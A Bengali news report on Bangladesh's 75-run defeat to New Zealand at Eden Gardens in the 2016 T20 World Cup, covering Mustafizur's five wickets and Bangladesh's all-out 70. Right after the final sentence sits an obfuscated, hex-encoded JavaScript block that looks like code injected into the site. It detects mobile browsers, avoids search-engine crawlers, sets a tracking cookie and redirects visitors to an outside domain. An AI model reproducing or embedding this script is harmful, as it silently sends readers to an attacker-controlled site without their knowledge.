for Add
: ২৬ মার্চ ২০১৬, শনিবার, ১৯:৪৯:৫৩
বাংলাদেশ ইনিংসের ১১ তম ওভারটি শেষ হতেই নিভে গেল ফ্ল্যাট লাইট। ইডেন তখন ঢেকে গেছে আধারে। কিন্তু তারও আগে রাজ্যের অন্ধকার গ্রাস করে নিয়েছে মাশরাফিদের। বাংলাদেশের স্কোর বোর্ডে যে তখন ৪৫ রান যোগ হতেই নেই ৬ উইকেট। ইডেনে ফের আলো জ্বললেও, জ্বলে উঠতে পারেনি টাইগাররা। ৫০ রান করতে আরও একজন ব্যাটসম্যানকে আউট। দলীয় ৫০ রানের মধ্যে ৭ উইকেটের পতনও দেখতে হলো এই বিশ্বকাপে। আগেতো কখনো হয়নি এমন। টাইগারদের কাছ থেকে এমন ম্যাচ কে আশা করেছিল! যেখানে দেশের মানুষ অপেক্ষায় ছিল জয়ে শেষ হবে বাংলাদেশের বিশ্বকাপ। সেখানে হলো তার উল্টো। হারতেই পারে ম্যাচে। তাই বলে ৭৫ রানের ব্যবধানে? শেষটাতো রাঙ্গানো হলোই না, বরং লজ্জায় শেষ হলো মাশরাফিদের বিশ্বকাপ।
ভারতের বিপক্ষে ১৪৭ রানের জয়ের লক্ষ্যে ১৪৫ রান করতে পেরেছিল বাংলাদেশ। আজ (শনিবার) ইডেনে এরচেয়ে এক রান বেশি করতে পরলেই স্বাধীনতার উৎসবে নতুন মাত্র যোগ করতে পারতো টাইগাররা। কিন্তু কোথায় কি! বাংলাদেশ উল্টো টি-টোয়েন্টিতে নিজেদের সর্বনিন্ম রান করে লজ্জা উপহার দিল জাতিকে। মাত্র ৭০ রানেই শেষ হয়ে যায় বাংলাদেশের ইনিংস। আগের সর্বনিন্ম ছিল ৭৮ রান। সেটিও এই কিউইদের বিপক্ষেই ২০১০ সালে হ্যামিল্টনে। এমনকি বাংলাদেশের আজকের স্কোরটি নিউজিল্যান্ডের বিপক্ষে যে কোন দলেরই সর্ব নিন্ম স্কোর। যেখানে বাংলাদেশের কোনো ব্যাটসম্যানই পার করতে পারেননি ২০ রানের কোটা। শুভাগত হোমের অপরাজিত ১৬ রানই বাংলাদেশের ইনিংসের সর্বোচ্চ। এছাড়া মোহাম্মদ মিথুন (১১) এবং সাব্বির রহমান (১২) ছাড়া আর কেউই দুই অঙ্কোর কোটা ছোঁতে পারেননি।
অথচ বোলাররা কিউইদের দেড়শর নিচে বেঁধে রেখে জয়ের মঞ্চ ঠিকই তৈরি করে দিয়েছিলেন। টস জিতে আগে ব্যাট করা কিউইরা ৮ উইকেট হারিয়ে তুলতে পেরেছিল মাত্র ১৪৫। ৪ ওভারে ২২ রান দিয়ে ৫ উইকেট নিয়েছেন মুস্তাফিজ। টি-টোয়েন্টি ক্যারিয়ারে এই প্রথম ৫ উইকেট নেন এই বা-হাতি বোলিং বিস্ময়। এবারে টুর্নামেন্টে দ্বিতীয় বোলার হিসেবে ৫ উইকেট তুলে নেন তিনি।
টস জিতে ব্যাট করতে নামা কিউইদের শুরুটা ছিল ভালো মন্দের মিশেলে। কেন উইলিয়ামসন এবং হেনরি নিকোলচ উদ্বোধনী জুটিতে ২৫ রান করার পরই প্রথম আঘাত হানে মুস্তাফিজ। সারসরি বোল্ড করে ফেরান হেনরি নিকোলসকে (৭)। সেই ধাক্কা সামলে কেন উইলিয়ামসন এবং কলিন মুনরো ভালোই জবাব দিচ্ছিলেন বাংলাদেশী বোলারদের। কেন উইলিয়ামসন ৩২ বলে ৪২ রান করে বড় স্কোরের ইঙ্গিতই দিচ্ছিলেন। কিন্তু মুস্তাফিজুর রহমান তার সেই স্কোরকে আর বড় হতে দেননি। নিজের দ্বিতীয় এবং ইনিংসের নবম ওভারের শেষ বলে বোল্ড করে ফেরান কিউই দলপতিকে। ৯৯ রানের মাথায় মুনরোকে বোল্ড করেন আল-আমিন। এক রানের ব্যবধানেই কোরি অ্যান্ডারসন বোল্ড হয়ে ফেরেন মাশরাফির বলে।
বাংলাদেশী বোলারদের প্রতিপক্ষের স্ট্যাম্প উড়ানোর খেলায় সবচেয়ে উজ্জল টুর্নামেন্টে নিজের দ্বিতীয় ম্যাচ খেলা মুস্তাফিজ। চার জন বোলারকে বোল্ড করে ফিরিয়েছেন তিনি। একমাত্র এলিয়ট ক্যাচ হয়ে ফিরেছেন শুভাগতর হাতে। ১২২ রানের মাথায় পঞ্চম ব্যাটসম্যান হিসেবে আউট হন গ্রেন্ট এলিয়ট (৯)। ১২৭ রানের মাথায় রস টেইলরকে ফেরান আল আমিন। ২৪ বলে ২৮ রান করে মোহাম্মদ মিথুনের হাতে ক্যাচ হন তিনি।
নিজের এবং ইনিংসের শেষ ওভারে হ্যাটট্রিকের সুযোগ তৈরি করেন মুস্তাফিজ। পরপর দুটি বলে বোল্ড করেন মিচেল সান্টরান এবং নাথান ম্যাককালামকে। শেষ বলে উইকেট পেলে হ্যাটট্রিকও হয়ে যেতে পারতো। ইডেন যেন সেই প্রতিক্ষাতেই ছিল। কিন্তু মিচেল ম্যাকক্লেগে বিশাল ছক্কা মেরে ভেঙ্গে দেন মুস্তাফিজের হ্যাটট্রিকের স্বপ্ন। শেষ বলের ছক্কায় কিউইদের ইনিংস গিয়ে দাঁড়ায় ১৪৫ রানে। বোলিংয়ে মুস্তাফিজের ৫ উইকেট ছাড়াও আল-আমিন ২টি এবং অধিনায়ক মাশরাফি বিন মর্তুজা ১ টি উইকেট নিয়েছেন।
ম্যাচের বাকি গল্পটা ব্যাটসম্যানদের ব্যর্থতায় মোড়ানো থাকলো। সেখানে সফল কিউই বোলররা। গ্রান্ট এলিয়ট এবং টিম সাউদি নিয়েছেন ৩ টি করে উইকেট। এছাড়া ১টি করে উইকেট নিয়েছেন নাথাম ম্যাককালাম, সান্টনার এবং ম্যাকক্লেগে।
সেরা খেলোয়াড় হয়েছেন কেন উইলিয়ামসন।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}
For add
For add
For add
For add
for Add